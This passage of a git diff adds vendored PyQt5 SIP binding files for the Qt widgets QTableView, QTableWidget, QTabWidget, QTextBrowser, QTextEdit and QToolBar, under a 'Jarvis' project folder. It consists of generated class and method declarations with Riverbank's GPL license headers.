tabCloseRequested(int index); + void tabMoved(int from, int to); + +protected: + virtual void hideEvent(QHideEvent *); + virtual void wheelEvent(QWheelEvent *event); + virtual QSize minimumTabSizeHint(int index) const; + +signals: +%If (Qt_5_2_0 -) + void tabBarClicked(int index); +%End +%If (Qt_5_2_0 -) + void tabBarDoubleClicked(int index); +%End + +public: +%If (Qt_5_4_0 -) + bool autoHide() const; +%End +%If (Qt_5_4_0 -) + void setAutoHide(bool hide); +%End +%If (Qt_5_4_0 -) + bool changeCurrentOnDrag() const; +%End +%If (Qt_5_4_0 -) + void setChangeCurrentOnDrag(bool change); +%End + +protected: +%If (Qt_5_4_0 -) + virtual void timerEvent(QTimerEvent *event); +%End + +public: +%If (Qt_5_8_0 -) +%If (PyQt_Accessibility) + QString accessibleTabName(int index) const; +%End +%End +%If (Qt_5_8_0 -) +%If (PyQt_Accessibility) + void setAccessibleTabName(int index, const QString &name); +%End +%End +%If (Qt_5_15_0 -) + bool isTabVisible(int index) const; +%End +%If (Qt_5_15_0 -) + void setTabVisible(int index, bool visible); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtableview.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtableview.sip new file mode 100644 index 00000000..b4f5966b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtableview.sip @@ -0,0 +1,116 @@ +// qtableview.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTableView : QAbstractItemView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTableView(QWidget *parent /TransferThis/ = 0); + virtual ~QTableView(); + virtual void setModel(QAbstractItemModel *model /KeepReference/); + virtual void setRootIndex(const QModelIndex &index); + virtual void setSelectionModel(QItemSelectionModel *selectionModel /KeepReference/); + QHeaderView *horizontalHeader() const; + QHeaderView *verticalHeader() const; + void setHorizontalHeader(QHeaderView *header /Transfer/); + void setVerticalHeader(QHeaderView *header /Transfer/); + int rowViewportPosition(int row) const; + void setRowHeight(int row, int height); + int rowHeight(int row) const; + int rowAt(int y) const; + int columnViewportPosition(int column) const; + void setColumnWidth(int column, int width); + int columnWidth(int column) const; + int columnAt(int x) const; + bool isRowHidden(int row) const; + void setRowHidden(int row, bool hide); + bool isColumnHidden(int column) const; + void setColumnHidden(int column, bool hide); + bool showGrid() const; + void setShowGrid(bool show); + Qt::PenStyle gridStyle() const; + void setGridStyle(Qt::PenStyle style); + virtual QRect visualRect(const QModelIndex &index) const; + virtual void scrollTo(const QModelIndex &index, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + virtual QModelIndex indexAt(const QPoint &p) const; + +public slots: + void selectRow(int row); + void selectColumn(int column); + void hideRow(int row); + void hideColumn(int column); + void showRow(int row); + void showColumn(int column); + void resizeRowToContents(int row); + void resizeRowsToContents(); + void resizeColumnToContents(int column); + void resizeColumnsToContents(); + +protected slots: + void rowMoved(int row, int oldIndex, int newIndex); + void columnMoved(int column, int oldIndex, int newIndex); + void rowResized(int row, int oldHeight, int newHeight); + void columnResized(int column, int oldWidth, int newWidth); + void rowCountChanged(int oldCount, int newCount); + void columnCountChanged(int oldCount, int newCount); + +protected: + virtual void scrollContentsBy(int dx, int dy); + virtual QStyleOptionViewItem viewOptions() const; + virtual void paintEvent(QPaintEvent *e); + virtual void timerEvent(QTimerEvent *event); + virtual int horizontalOffset() const; + virtual int verticalOffset() const; + virtual QModelIndex moveCursor(QAbstractItemView::CursorAction cursorAction, Qt::KeyboardModifiers modifiers); + virtual void setSelection(const QRect &rect, QItemSelectionModel::SelectionFlags command); + virtual QRegion visualRegionForSelection(const QItemSelection &selection) const; + virtual QModelIndexList selectedIndexes() const; + virtual void updateGeometries(); + virtual int sizeHintForRow(int row) const; + virtual int sizeHintForColumn(int column) const; + virtual void verticalScrollbarAction(int action); + virtual void horizontalScrollbarAction(int action); + virtual bool isIndexHidden(const QModelIndex &index) const; +%If (Qt_5_2_0 -) + virtual QSize viewportSizeHint() const; +%End + +public: + void setSortingEnabled(bool enable); + bool isSortingEnabled() const; + void setSpan(int row, int column, int rowSpan, int columnSpan); + int rowSpan(int row, int column) const; + int columnSpan(int row, int column) const; + void sortByColumn(int column, Qt::SortOrder order); + void setWordWrap(bool on); + bool wordWrap() const; + void setCornerButtonEnabled(bool enable); + bool isCornerButtonEnabled() const; + void clearSpans(); + +protected: + virtual void selectionChanged(const QItemSelection &selected, const QItemSelection &deselected); + virtual void currentChanged(const QModelIndex ¤t, const QModelIndex &previous); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtablewidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtablewidget.sip new file mode 100644 index 00000000..d2d6b5b2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtablewidget.sip @@ -0,0 +1,237 @@ +// qtablewidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTableWidgetSelectionRange +{ +%TypeHeaderCode +#include +%End + +public: + QTableWidgetSelectionRange(); + QTableWidgetSelectionRange(int top, int left, int bottom, int right); + QTableWidgetSelectionRange(const QTableWidgetSelectionRange &other); + ~QTableWidgetSelectionRange(); + int topRow() const; + int bottomRow() const; + int leftColumn() const; + int rightColumn() const; + int rowCount() const; + int columnCount() const; +}; + +class QTableWidgetItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum ItemType + { + Type, + UserType, + }; + + explicit QTableWidgetItem(int type = QTableWidgetItem::ItemType::Type); + QTableWidgetItem(const QString &text, int type = QTableWidgetItem::ItemType::Type); + QTableWidgetItem(const QIcon &icon, const QString &text, int type = QTableWidgetItem::ItemType::Type); + QTableWidgetItem(const QTableWidgetItem &other); + virtual ~QTableWidgetItem(); + virtual QTableWidgetItem *clone() const /Factory/; + QTableWidget *tableWidget() const; + Qt::ItemFlags flags() const; + QString text() const; + QIcon icon() const; + QString statusTip() const; + QString toolTip() const; + QString whatsThis() const; + QFont font() const; + int textAlignment() const; + void setTextAlignment(int alignment); + Qt::CheckState checkState() const; + void setCheckState(Qt::CheckState state); + virtual QVariant data(int role) const; + virtual void setData(int role, const QVariant &value); + virtual bool operator<(const QTableWidgetItem &other /NoCopy/) const; + virtual void read(QDataStream &in) /ReleaseGIL/; + virtual void write(QDataStream &out) const /ReleaseGIL/; + int type() const; + void setFlags(Qt::ItemFlags aflags); + void setText(const QString &atext); + void setIcon(const QIcon &aicon); + void setStatusTip(const QString &astatusTip); + void setToolTip(const QString &atoolTip); + void setWhatsThis(const QString &awhatsThis); + void setFont(const QFont &afont); + QSize sizeHint() const; + void setSizeHint(const QSize &size); + QBrush background() const; + void setBackground(const QBrush &brush); + QBrush foreground() const; + void setForeground(const QBrush &brush); + int row() const; + int column() const; + void setSelected(bool aselect); + bool isSelected() const; + +private: + QTableWidgetItem &operator=(const QTableWidgetItem &); +}; + +QDataStream &operator>>(QDataStream &in, QTableWidgetItem &item /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &out, const QTableWidgetItem &item /Constrained/) /ReleaseGIL/; + +class QTableWidget : QTableView +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTableWidget(QWidget *parent /TransferThis/ = 0); + QTableWidget(int rows, int columns, QWidget *parent /TransferThis/ = 0); + virtual ~QTableWidget(); + void setRowCount(int rows); + int rowCount() const; + void setColumnCount(int columns); + int columnCount() const; + int row(const QTableWidgetItem *item) const; + int column(const QTableWidgetItem *item) const; + QTableWidgetItem *item(int row, int column) const; + void setItem(int row, int column, QTableWidgetItem *item /Transfer/); + QTableWidgetItem *takeItem(int row, int column) /TransferBack/; + QTableWidgetItem *verticalHeaderItem(int row) const; + void setVerticalHeaderItem(int row, QTableWidgetItem *item /Transfer/); + QTableWidgetItem *takeVerticalHeaderItem(int row) /TransferBack/; + QTableWidgetItem *horizontalHeaderItem(int column) const; + void setHorizontalHeaderItem(int column, QTableWidgetItem *item /Transfer/); + QTableWidgetItem *takeHorizontalHeaderItem(int column) /TransferBack/; + void setVerticalHeaderLabels(const QStringList &labels); + void setHorizontalHeaderLabels(const QStringList &labels); + int currentRow() const; + int currentColumn() const; + QTableWidgetItem *currentItem() const; + void setCurrentItem(QTableWidgetItem *item); + void setCurrentItem(QTableWidgetItem *item, QItemSelectionModel::SelectionFlags command); + void setCurrentCell(int row, int column); + void setCurrentCell(int row, int column, QItemSelectionModel::SelectionFlags command); + void sortItems(int column, Qt::SortOrder order = Qt::AscendingOrder); + void setSortingEnabled(bool enable); + bool isSortingEnabled() const; + void editItem(QTableWidgetItem *item); + void openPersistentEditor(QTableWidgetItem *item); + void closePersistentEditor(QTableWidgetItem *item); + QWidget *cellWidget(int row, int column) const; + void setCellWidget(int row, int column, QWidget *widget /Transfer/); +%MethodCode + // We have to break the association with any existing widget. + QWidget *w = sipCpp->cellWidget(a0, a1); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->setCellWidget(a0, a1, a2); + Py_END_ALLOW_THREADS +%End + + void removeCellWidget(int arow, int acolumn); +%MethodCode + // We have to break the association with any existing widget. + QWidget *w = sipCpp->cellWidget(a0, a1); + + if (w) + { + PyObject *wo = sipGetPyObject(w, sipType_QWidget); + + if (wo) + sipTransferTo(wo, 0); + } + + Py_BEGIN_ALLOW_THREADS + sipCpp->removeCellWidget(a0, a1); + Py_END_ALLOW_THREADS +%End + + void setRangeSelected(const QTableWidgetSelectionRange &range, bool select); + QList selectedRanges() const; + QList selectedItems() const; + QList findItems(const QString &text, Qt::MatchFlags flags) const; + int visualRow(int logicalRow) const; + int visualColumn(int logicalColumn) const; + QTableWidgetItem *itemAt(const QPoint &p) const; + QTableWidgetItem *itemAt(int ax, int ay) const; + QRect visualItemRect(const QTableWidgetItem *item) const; + const QTableWidgetItem *itemPrototype() const; + void setItemPrototype(const QTableWidgetItem *item /Transfer/); + +public slots: + void scrollToItem(const QTableWidgetItem *item, QAbstractItemView::ScrollHint hint = QAbstractItemView::EnsureVisible); + void insertRow(int row); + void insertColumn(int column); + void removeRow(int row); + void removeColumn(int column); + void clear(); + void clearContents(); + +signals: + void itemPressed(QTableWidgetItem *item); + void itemClicked(QTableWidgetItem *item); + void itemDoubleClicked(QTableWidgetItem *item); + void itemActivated(QTableWidgetItem *item); + void itemEntered(QTableWidgetItem *item); + void itemChanged(QTableWidgetItem *item); + void currentItemChanged(QTableWidgetItem *current, QTableWidgetItem *previous); + void itemSelectionChanged(); + void cellPressed(int row, int column); + void cellClicked(int row, int column); + void cellDoubleClicked(int row, int column); + void cellActivated(int row, int column); + void cellEntered(int row, int column); + void cellChanged(int row, int column); + void currentCellChanged(int currentRow, int currentColumn, int previousRow, int previousColumn); + +protected: + virtual QStringList mimeTypes() const; + virtual QMimeData *mimeData(const QList items) const /TransferBack/; + virtual bool dropMimeData(int row, int column, const QMimeData *data, Qt::DropAction action); + virtual Qt::DropActions supportedDropActions() const; + QList items(const QMimeData *data) const; + QModelIndex indexFromItem(QTableWidgetItem *item) const; + QTableWidgetItem *itemFromIndex(const QModelIndex &index) const; + virtual bool event(QEvent *e); + virtual void dropEvent(QDropEvent *event); + +public: +%If (Qt_5_10_0 -) + bool isPersistentEditorOpen(QTableWidgetItem *item) const; +%End + +private: + virtual void setModel(QAbstractItemModel *model /KeepReference/); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtabwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtabwidget.sip new file mode 100644 index 00000000..afa8c01c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtabwidget.sip @@ -0,0 +1,144 @@ +// qtabwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTabWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTabWidget(QWidget *parent /TransferThis/ = 0); + virtual ~QTabWidget(); + void clear(); + int addTab(QWidget *widget /Transfer/, const QString &); + int addTab(QWidget *widget /Transfer/, const QIcon &icon, const QString &label); + int insertTab(int index, QWidget *widget /Transfer/, const QString &); + int insertTab(int index, QWidget *widget /Transfer/, const QIcon &icon, const QString &label); + void removeTab(int index); + bool isTabEnabled(int index) const; + void setTabEnabled(int index, bool); + QString tabText(int index) const; + void setTabText(int index, const QString &); + QIcon tabIcon(int index) const; + void setTabIcon(int index, const QIcon &icon); + void setTabToolTip(int index, const QString &tip); + QString tabToolTip(int index) const; + void setTabWhatsThis(int index, const QString &text); + QString tabWhatsThis(int index) const; + int currentIndex() const; + QWidget *currentWidget() const; + QWidget *widget(int index) const; + int indexOf(QWidget *widget) const; + int count() const /__len__/; + + enum TabPosition + { + North, + South, + West, + East, + }; + + QTabWidget::TabPosition tabPosition() const; + void setTabPosition(QTabWidget::TabPosition); + + enum TabShape + { + Rounded, + Triangular, + }; + + QTabWidget::TabShape tabShape() const; + void setTabShape(QTabWidget::TabShape s); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + void setCornerWidget(QWidget *widget /Transfer/, Qt::Corner corner = Qt::TopRightCorner); + QWidget *cornerWidget(Qt::Corner corner = Qt::TopRightCorner) const; + +public slots: + void setCurrentIndex(int index); + void setCurrentWidget(QWidget *widget); + +signals: + void currentChanged(int index); + +protected: + void initStyleOption(QStyleOptionTabWidgetFrame *option) const; + virtual void tabInserted(int index); + virtual void tabRemoved(int index); + virtual bool event(QEvent *); + virtual void showEvent(QShowEvent *); + virtual void resizeEvent(QResizeEvent *); + virtual void keyPressEvent(QKeyEvent *); + virtual void paintEvent(QPaintEvent *); + void setTabBar(QTabBar * /Transfer/); + +public: + QTabBar *tabBar() const; + +protected: + virtual void changeEvent(QEvent *); + +public: + Qt::TextElideMode elideMode() const; + void setElideMode(Qt::TextElideMode); + QSize iconSize() const; + void setIconSize(const QSize &size); + bool usesScrollButtons() const; + void setUsesScrollButtons(bool useButtons); + bool tabsClosable() const; + void setTabsClosable(bool closeable); + bool isMovable() const; + void setMovable(bool movable); + bool documentMode() const; + void setDocumentMode(bool set); + +signals: + void tabCloseRequested(int index); + +public: + virtual int heightForWidth(int width) const; + virtual bool hasHeightForWidth() const; + +signals: +%If (Qt_5_2_0 -) + void tabBarClicked(int index); +%End +%If (Qt_5_2_0 -) + void tabBarDoubleClicked(int index); +%End + +public: +%If (Qt_5_4_0 -) + bool tabBarAutoHide() const; +%End +%If (Qt_5_4_0 -) + void setTabBarAutoHide(bool enabled); +%End +%If (Qt_5_15_0 -) + bool isTabVisible(int index) const; +%End +%If (Qt_5_15_0 -) + void setTabVisible(int index, bool visible); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtextbrowser.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtextbrowser.sip new file mode 100644 index 00000000..c744eee1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtextbrowser.sip @@ -0,0 +1,92 @@ +// qtextbrowser.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextBrowser : QTextEdit +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextBrowser(QWidget *parent /TransferThis/ = 0); + virtual ~QTextBrowser(); + QUrl source() const; + QStringList searchPaths() const; + void setSearchPaths(const QStringList &paths); + virtual QVariant loadResource(int type, const QUrl &name); + +public slots: + virtual void setSource(const QUrl &name); + virtual void backward(); + virtual void forward(); + virtual void home(); + virtual void reload(); + +signals: + void backwardAvailable(bool); + void forwardAvailable(bool); + void sourceChanged(const QUrl &); + void highlighted(const QUrl &); + void highlighted(const QString &); + void anchorClicked(const QUrl &); + +protected: + virtual bool event(QEvent *e); + virtual void keyPressEvent(QKeyEvent *ev); + virtual void mouseMoveEvent(QMouseEvent *ev); + virtual void mousePressEvent(QMouseEvent *ev); + virtual void mouseReleaseEvent(QMouseEvent *ev); + virtual void focusOutEvent(QFocusEvent *ev); + virtual bool focusNextPrevChild(bool next); + virtual void paintEvent(QPaintEvent *e); + +public: + bool isBackwardAvailable() const; + bool isForwardAvailable() const; + void clearHistory(); + bool openExternalLinks() const; + void setOpenExternalLinks(bool open); + bool openLinks() const; + void setOpenLinks(bool open); + QString historyTitle(int) const; + QUrl historyUrl(int) const; + int backwardHistoryCount() const; + int forwardHistoryCount() const; + +signals: + void historyChanged(); + +public: +%If (Qt_5_14_0 -) + QTextDocument::ResourceType sourceType() const; +%End + +public slots: +%If (Qt_5_14_0 -) + void setSource(const QUrl &name, QTextDocument::ResourceType type); +%End + +protected: +%If (Qt_5_14_0 -) + void doSetSource(const QUrl &name, QTextDocument::ResourceType type = QTextDocument::UnknownResource); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtextedit.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtextedit.sip new file mode 100644 index 00000000..fe7a1639 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtextedit.sip @@ -0,0 +1,230 @@ +// qtextedit.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextEdit : QAbstractScrollArea +{ +%TypeHeaderCode +#include +%End + +public: + struct ExtraSelection + { +%TypeHeaderCode +#include +%End + + QTextCursor cursor; + QTextCharFormat format; + }; + + enum LineWrapMode + { + NoWrap, + WidgetWidth, + FixedPixelWidth, + FixedColumnWidth, + }; + + enum AutoFormattingFlag + { + AutoNone, + AutoBulletList, + AutoAll, + }; + + typedef QFlags AutoFormatting; + explicit QTextEdit(QWidget *parent /TransferThis/ = 0); + QTextEdit(const QString &text, QWidget *parent /TransferThis/ = 0); + virtual ~QTextEdit(); + void setDocument(QTextDocument *document /KeepReference/); + QTextDocument *document() const; + void setTextCursor(const QTextCursor &cursor); + QTextCursor textCursor() const; + bool isReadOnly() const; + void setReadOnly(bool ro); + qreal fontPointSize() const; + QString fontFamily() const; + int fontWeight() const; + bool fontUnderline() const; + bool fontItalic() const; + QColor textColor() const; + QFont currentFont() const; + Qt::Alignment alignment() const; + void mergeCurrentCharFormat(const QTextCharFormat &modifier); + void setCurrentCharFormat(const QTextCharFormat &format); + QTextCharFormat currentCharFormat() const; + QTextEdit::AutoFormatting autoFormatting() const; + void setAutoFormatting(QTextEdit::AutoFormatting features); + bool tabChangesFocus() const; + void setTabChangesFocus(bool b); + void setDocumentTitle(const QString &title); + QString documentTitle() const; + bool isUndoRedoEnabled() const; + void setUndoRedoEnabled(bool enable); + QTextEdit::LineWrapMode lineWrapMode() const; + void setLineWrapMode(QTextEdit::LineWrapMode mode); + int lineWrapColumnOrWidth() const; + void setLineWrapColumnOrWidth(int w); + QTextOption::WrapMode wordWrapMode() const; + void setWordWrapMode(QTextOption::WrapMode policy); + bool find(const QString &exp, QTextDocument::FindFlags options = QTextDocument::FindFlags()); + QString toPlainText() const; + QString toHtml() const; + void append(const QString &text); + void ensureCursorVisible(); + virtual QVariant loadResource(int type, const QUrl &name); + QMenu *createStandardContextMenu() /Factory/; + QMenu *createStandardContextMenu(const QPoint &position) /Factory/; + QTextCursor cursorForPosition(const QPoint &pos) const; + QRect cursorRect(const QTextCursor &cursor) const; + QRect cursorRect() const; + QString anchorAt(const QPoint &pos) const; + bool overwriteMode() const; + void setOverwriteMode(bool overwrite); + int tabStopWidth() const; + void setTabStopWidth(int width); + bool acceptRichText() const; + void setAcceptRichText(bool accept); + void setTextInteractionFlags(Qt::TextInteractionFlags flags); + Qt::TextInteractionFlags textInteractionFlags() const; + void setCursorWidth(int width); + int cursorWidth() const; + void setExtraSelections(const QList &selections); + QList extraSelections() const; + bool canPaste() const; + void moveCursor(QTextCursor::MoveOperation operation, QTextCursor::MoveMode mode = QTextCursor::MoveAnchor); +%If (PyQt_Printer) + void print(QPagedPaintDevice *printer) const /PyName=print_/; +%End +%If (Py_v3) +%If (PyQt_Printer) + void print(QPagedPaintDevice *printer) const; +%End +%End + +public slots: + void setFontPointSize(qreal s); + void setFontFamily(const QString &fontFamily); + void setFontWeight(int w); + void setFontUnderline(bool b); + void setFontItalic(bool b); + void setText(const QString &text); + void setTextColor(const QColor &c); + void setCurrentFont(const QFont &f); + void setAlignment(Qt::Alignment a); + void setPlainText(const QString &text); + void setHtml(const QString &text); + void cut(); + void copy(); + void paste(); + void clear(); + void selectAll(); + void insertPlainText(const QString &text); + void insertHtml(const QString &text); + void scrollToAnchor(const QString &name); + void redo(); + void undo(); + void zoomIn(int range = 1); + void zoomOut(int range = 1); + +signals: + void textChanged(); + void undoAvailable(bool b); + void redoAvailable(bool b); + void currentCharFormatChanged(const QTextCharFormat &format); + void copyAvailable(bool b); + void selectionChanged(); + void cursorPositionChanged(); + +protected: + virtual bool event(QEvent *e); + virtual void timerEvent(QTimerEvent *e); + virtual void keyPressEvent(QKeyEvent *e); + virtual void keyReleaseEvent(QKeyEvent *e); + virtual void resizeEvent(QResizeEvent *); + virtual void paintEvent(QPaintEvent *e); + virtual void mousePressEvent(QMouseEvent *e); + virtual void mouseMoveEvent(QMouseEvent *e); + virtual void mouseReleaseEvent(QMouseEvent *e); + virtual void mouseDoubleClickEvent(QMouseEvent *e); + virtual bool focusNextPrevChild(bool next); + virtual void contextMenuEvent(QContextMenuEvent *e); + virtual void dragEnterEvent(QDragEnterEvent *e); + virtual void dragLeaveEvent(QDragLeaveEvent *e); + virtual void dragMoveEvent(QDragMoveEvent *e); + virtual void dropEvent(QDropEvent *e); + virtual void focusInEvent(QFocusEvent *e); + virtual void focusOutEvent(QFocusEvent *e); + virtual void showEvent(QShowEvent *); + virtual void changeEvent(QEvent *e); + virtual void wheelEvent(QWheelEvent *e); + virtual QMimeData *createMimeDataFromSelection() const /Factory/; + virtual bool canInsertFromMimeData(const QMimeData *source) const; + virtual void insertFromMimeData(const QMimeData *source); + virtual void inputMethodEvent(QInputMethodEvent *); + +public: + virtual QVariant inputMethodQuery(Qt::InputMethodQuery property) const; + +protected: + virtual void scrollContentsBy(int dx, int dy); + +public: + QColor textBackgroundColor() const; + +public slots: + void setTextBackgroundColor(const QColor &c); + +public: +%If (Qt_5_2_0 -) + void setPlaceholderText(const QString &placeholderText); +%End +%If (Qt_5_2_0 -) + QString placeholderText() const; +%End +%If (Qt_5_3_0 -) + bool find(const QRegExp &exp, QTextDocument::FindFlags options = QTextDocument::FindFlags()); +%End +%If (Qt_5_13_0 -) + bool find(const QRegularExpression &exp, QTextDocument::FindFlags options = QTextDocument::FindFlags()); +%End +%If (Qt_5_3_0 -) + QVariant inputMethodQuery(Qt::InputMethodQuery query, QVariant argument) const; +%End +%If (Qt_5_10_0 -) + qreal tabStopDistance() const; +%End +%If (Qt_5_10_0 -) + void setTabStopDistance(qreal distance); +%End +%If (Qt_5_14_0 -) + QString toMarkdown(QTextDocument::MarkdownFeatures features = QTextDocument::MarkdownDialectGitHub) const; +%End + +public slots: +%If (Qt_5_14_0 -) + void setMarkdown(const QString &markdown); +%End +}; + +QFlags operator|(QTextEdit::AutoFormattingFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbar.sip new file mode 100644 index 00000000..e455c35c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qtoolbar.sip @@ -0,0 +1,111 @@ +// qtoolbar.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QToolBar : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + QToolBar(const QString &title, QWidget *parent /TransferThis/ = 0); + explicit QToolBar(QWidget *parent /TransferThis/ = 0); + virtual ~QToolBar(); + void setMovable(bool movable); + bool isMovable() const; + void setAllowedAreas(Qt::ToolBarAreas areas); + Qt::ToolBarAreas allowedAreas() const; + bool isAreaAllowed(Qt::ToolBarArea area) const; + void setOrientation(Qt::Orientation orientation); + Qt::Orientation orientation() const; + void clear(); + void addAction(QAction *action); + QAction *addAction(const QString &text) /Transfer/; + QAction *addAction(const QIcon &icon, const QString &text) /Transfer/; + QAction *addAction(const QString &text, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /Transfer/; +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a1, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipRes = sipCpp->addAction(*a0, receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(1, a1); + } +%End + + QAction *addAction(const QIcon &icon, const QString &text, SIP_PYOBJECT slot /TypeHint="PYQT_SLOT"/) /Transfer/; +%MethodCode + QObject *receiver; + QByteArray slot_signature; + + if ((sipError = pyqt5_qtwidgets_get_connection_parts(a2, sipCpp, "()", false, &receiver, slot_signature)) == sipErrorNone) + { + sipRes = sipCpp->addAction(*a0, *a1, receiver, slot_signature.constData()); + } + else if (sipError == sipErrorContinue) + { + sipError = sipBadCallableArg(2, a2); + } +%End + + QAction *addSeparator() /Transfer/; + QAction *insertSeparator(QAction *before) /Transfer/; + QAction *addWidget(QWidget *widget /Transfer/) /Transfer/; + QAction *insertWidget(QAction *before, QWidget *widget /Transfer/) /Transfer/; + QRect actionGeometry(QAction *action) const; + QAction *actionAt(const QPoint &p) const; + QAction *actionAt(int ax, int ay) const; + QAction *toggleViewAction() const; + QSize iconSize() const; + Qt::ToolButtonStyle toolButtonStyle() const; + QWidget *widgetForAction(QAction *action) const; + +public slots: + void setIconSize(const QSize &iconSize); + void setToolButtonStyle(Qt::ToolButtonStyle toolButtonStyle); + +signals: + void actionTriggered(QAction *action); + void movableChanged(bool movable); + void allowedAreasChanged(Qt::ToolBarAreas allowedAreas); + void 